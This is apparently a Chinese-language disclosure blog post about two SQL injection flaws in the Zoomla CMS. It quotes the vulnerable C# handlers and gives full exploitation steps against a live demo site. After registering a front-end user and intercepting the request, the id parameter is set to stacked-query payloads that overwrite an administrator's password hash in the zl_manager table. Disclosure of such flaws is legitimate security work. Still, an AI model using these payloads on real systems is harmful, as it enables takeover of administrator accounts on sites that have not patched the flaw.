某功能还是存在两个UPDATE型注入,咱们可以秒改管理员密码。当然了也可以insert管理员的,为了避免一些问题就不用insert来测试了
涉及的两个类:
public class MIS_Project_ProQuote : Page, IRequiresSessionState
public class MIS_Target_mailQuote : Page, IRequiresSessionState
注入点1:
代码如下
[php]
public class MIS_Project_ProQuote : Page, IRequiresSessionState
protected void Button1_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(base.Request["types"]) && this.types == "7")
{
string text = base.Request["id"].ToString(); //ID参数
string value = this.ProID.Value;
if (!string.IsNullOrEmpty(value))
{
this.mps = this.bll.SelectByType(DataConverter.CLng(value));
if (this.mps.TargetID.ToString() == "")
{
this.HiddenField1.Value = text; //将ID参数赋值给隐藏域
}
else
{
this.HiddenField1.Value = this.mps.TargetID + "|" + text;
}
this.bll.Update("TargetID='" + this.HiddenField1.Value + "'", "ID='" + DataConverter.CLng(value) + "'"); //隐藏域没有过滤直接带入更新的查询,产生漏洞
base.Response.Write("
");
}
}
}[/php]
注册前台用户
访问:
http://demo.zoomla.cn/mis/target/proquote.aspx?types=7&id=1
点击引用按钮
改包
Proid输入随意的整数。
将id修改为注入的代码:
1';update zl_manager set adminpassword='77963b7a931377ad4ab5ad6a9cd718aa' where adminname='test123';--
此处注入和之前的不太一样。
实际上这里是hidden的参数有问题,但是由于hidden参数要二次从id赋值,所以只要改ID这个参数即可,直接改hidden是无效的。
代码如下
[php]
public class MIS_Target_mailQuote : Page, IRequiresSessionState
protected void Button1_Click(object sender, EventArgs e)
{
string value = this.ProID.Value;
string str = string.Empty;
if (!string.IsNullOrEmpty(base.Request["types"]) && base.Request["types"] == "8")
{
if (!string.IsNullOrEmpty(base.Request["ID"]))
{
str = base.Request["id"].ToString(); //漏洞点,id参数无过滤
}
if (!string.IsNullOrEmpty(value))
{
this.bminfo.Update("MID=" + str, "ID=" + DataConverter.CLng(value)); //str变量直接带入更新操作
if (!string.IsNullOrEmpty(base.Request["ParentID"]))
{
base.Response.Write("
");
return;
}
base.Response.Write("
");
}
}
}
[/php]
前台注册用户。
http://demo.zoomla.cn/mis/target/mailquote.aspx?id=1;update zl_manager set adminpassword='08f8e0260c64418510cefb2b06eee5cd' where adminname='test123';--&types=8
访问上面的链接后,点击引用!!!!截断一下
然后改包,为下面的参数添加一个整型值:
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论